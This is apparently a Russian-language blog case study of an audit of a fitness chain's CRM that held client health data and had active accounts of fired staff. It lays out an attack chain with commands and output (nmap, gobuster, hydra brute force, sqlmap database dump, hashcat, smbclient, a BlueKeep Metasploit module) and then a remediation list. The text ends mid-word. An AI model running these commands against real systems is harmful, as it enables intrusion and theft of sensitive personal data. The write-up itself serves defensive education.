Заказчик — сеть из трёх фитнес-студий — попросил обычный предпродажный аудит перед продлением годового контракта с подрядчиком по CRM. Формальность, которую делают перед подписанием любого мало-мальски значимого договора. Но уже на второй день стало понятно, что подписывать пока рано.
Что хранилось в системе
CRM хранила не просто контакты. В карточках клиентов лежали фото с камер ресепшена, история посещений, платежи, графики тренировок и — что хуже всего — пометки тренеров о здоровье: травмы, ограничения, диеты. Это уже не «просто персональные данные», а данные о здоровье — специальная категория по 152-ФЗ, которая требует отдельного согласия и повышенных мер защиты.
Список пользователей системы показал 74 активных аккаунта при официальном штате в 22 человека. Пятнадцать из «лишних» принадлежали людям, уволенным год-два назад. Один — администратору, ушедшему в конфликте по зарплате. Ни пароль, ни доступ ему никто не отключил.
Сколько это стоило бы в рублях
- Штраф по 152-ФЗ за утечку — от 100 000 до 300 000 ₽ за эпизод, при повторном нарушении суммы растут кратно
- Отток клиентов после огласки — типично 15–20% в первый месяц
- Средний чек годового абонемента в фитнес-студии — 35 000–60 000 ₽
- Риск точечного шантажа: связка «фото + данные о здоровье + телефон» — готовый материал для персонализированного давления на конкретных людей
При базе в 3000 клиентов даже отток в 10% — это больше миллиона рублей потерянной годовой выручки, не считая штрафа и репутационного шлейфа в локальных чатах и отзовиках, который живёт месяцами.
Как это эксплуатируется
Ничего экзотического: классическая цепочка «забытый доступ + общий пароль подрядчика» эксплуатируется без единого 0-day, только штатными инструментами.
Шаг 1. Разведка периметра
Первое, что делает атакующий (или пентестер) — смотрит, что вообще торчит наружу: панель CRM, VPN, RDP-гейтвей подрядчика.
nmap -sV -p 443,3389,8443,8080 crm.example-fitness.ru
PORT STATE SERVICE VERSION
443/tcp open https nginx 1.18.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
8443/tcp open https Apache Tomcat/Coyote JSP engine 1.1
Открытый RDP или веб-панель CRM без ограничения по IP — уже сигнал: подрядчик даёт удалённый доступ «всем, кому нужно», без сегментации. Дальше — поиск скрытых путей и панелей администратора:
gobuster dir -u https://crm.example-fitness.ru -w /usr/share/wordlists/dirb/common.txt -x php,asp
/admin (Status: 200)
/api/v1/clients (Status: 401)
/login.aspx (Status: 200)
Шаг 2. Проверка «мёртвых» и слабых учёток
Если логин уволенного администратора известен (а он часто предсказуем: имя.фамилия, фамилия1), проверяется, жив ли ещё аккаунт и не остался ли пароль дефолтным или переиспользуемым:
hydra -l ivanov.a -P rockyou.txt crm.example-fitness.ru https-post-form \
"/login.aspx:user=^USER^&pass=^PASS^:Invalid credentials"
[STATUS] 1247 tries, [443][http-post-form] host: crm.example-fitness.ru login: ivanov.a password: Fitness2022!
В нашем случае перебор не понадобился — аккаунт был активен с боевым паролем, который никто не менял два года. Это ровно та ситуация, когда «взлом» занимает секунды: логин + пароль, которые всё ещё в силе.
Шаг 3. Если бы вход был закрыт — атака через саму CRM
Многие самописные и полусамописные CRM для малого бизнеса пишутся на связке PHP/MySQL или ASP.NET/MSSQL без вменяемой валидации ввода. Проверка типовых точек инъекции:
sqlmap -u "https://crm.example-fitness.ru/api/v1/clients?id=1" --batch --dbs
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] the back-end DBMS is MySQL
available databases [3]:
[*] fitness_crm
[*] information_schema
[*] mysql
Дальше — дамп таблицы клиентов целиком, вместе с полем с медицинскими пометками, которое почти никогда не шифруется отдельно от остальных данных:
sqlmap -u "https://crm.example-fitness.ru/api/v1/clients?id=1" --batch \
-D fitness_crm -T clients --dump
Классы уязвимостей такого типа хорошо описаны в реестре CVE для веб-стеков, на которых пишут коробочные и полукоробочные CRM: инъекции в духе CVE-2017-5638 (Apache Struts2 OGNL RCE) или устаревшие компоненты аутентификации типа CVE-2019-11510 (Pulse Secure, чтение файлов конфигурации через VPN-шлюз) — типичный вектор, если у подрядчика открыт корпоративный VPN для «удалённого сопровождения» клиентских баз.
Шаг 4. Взлом хешей, если пароли всё же захешированы
hashcat -m 0 -a 0 hashes.txt rockyou.txt --force
Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Recovered........: 1842/3000 (61.40%)
Если разработчик хранил пароли клиентского портала в MD5 без соли (частая история у небольших подрядчиков), больше половины базы вскрывается за минуты на обычном GPU.
Шаг 5. Латеральное движение через общий пароль подрядчика
Самое неприятное в этом кейсе — подрядчик использовал один и тот же пароль администратора для всех своих клиентских баз. Это классический supply-chain риск: скомпрометировав одного клиента, атакующий получает доступ ко всем остальным через тот же аккаунт.
smbclient -L //crm-shared-server/ -U admin%Fitness2022!
Sharename Type Comment
--------- ---- -------
client_db_1 Disk
client_db_2 Disk
client_db_3 Disk
Это ровно та схема, из-за которой инциденты у MSP-подрядчиков (по аналогии с историей вокруг CVE-2021-30116, Kaseya VSA) бьют не по одной компании, а сразу по десяткам клиентов одного поставщика услуг.
Что и почему сработало бы дальше
Получив доступ к базе с фото и медицинскими пометками, атакующий не обязательно продаёт дамп целиком. Гораздо выгоднее и незаметнее:
- Точечный шантаж — «травма колена + фото с ресепшена + телефон» достаточно конкретны, чтобы давить на отдельных клиентов, а не искать их вслепую
- Продажа сегментированной базы конкурентам или спам-рассылкам — платежеспособная аудитория фитнес-клуба ценится выше, чем случайный список телефонов
- Использование общего пароля подрядчика для доступа к другим его клиентам — тихая эскалация без лишнего шума в логах конкретно этой компании
- Установка веб-шелла на CRM-сервере для постоянного присутствия — с открытым RDP это делается штатным
msfconsoleи модулемexploit/windows/rdp/cve_2019_0708_bluekeep_rce, если сервер вовремя не патчился
Как закрыть
Технически всё закрывается без бюджета на «кибербезопасность» — нужны процессы и дисциплина.
-
Немедленный отзыв доступа уволенных сотрудников — не через неделю, а в день увольнения:
# для AD/RDP-контура Disable-ADAccount -Identity "ivanov.a" # для веб-CRM через API curl -X PATCH https://crm.example-fitness.ru/api/v1/users/ivanov.a \ -H "Authorization: Bearer $ADMIN_TOKEN" \ -d '{"active": false}' -
Ролевая модель доступа (RBAC): тренер видит только своих клиентов, администратор ресепшена — только записи на текущий день, а не всю базу целиком.
-
Обязательная 2FA для удалённого входа в CRM — TOTP через Google Authenticator/Yandex Key, минимум для всех административных ролей:
google-authenticator -t -d -f -r 3 -R 30 -w 3 -
Перенос фото и медицинских пометок на отдельный контур с ограниченным доступом (в нашем случае — Yandex Cloud с изолированной сетью и отдельными IAM-политиками), вместо общего сервера подрядчика, где крутятся базы сразу нескольких клиентов.
-
Уведомления о новых входах с незнакомых устройств — простой webhook в мессенджер руководителя при каждом логине с нового IP/User-Agent.
-
Индивидуальные учётные записи у подрядчика с логированием действий вместо одного общего админского пароля на все клиентские базы — это было отдельным пунктом смены поставщика CRM.
-
Регулярный аудит списка активных аккаунтов раз в квартал — сверка со штатным расписанием, а не «доверие на слово».
Дыра была не в технологии — она была в том, что за два года никто не удосужился закрыть доступ ушедшему сотруднику. Это пять минут работы, а не бюджет на кибербезопасность.
Вся работа заняла неделю и обошлась владельцу в разы дешевле, чем один месяц оттока клиентов после реальной утечки. Такие истории почти никогда не начинаются со взлома извне — чаще всего дверь годами стоит открытой, прос
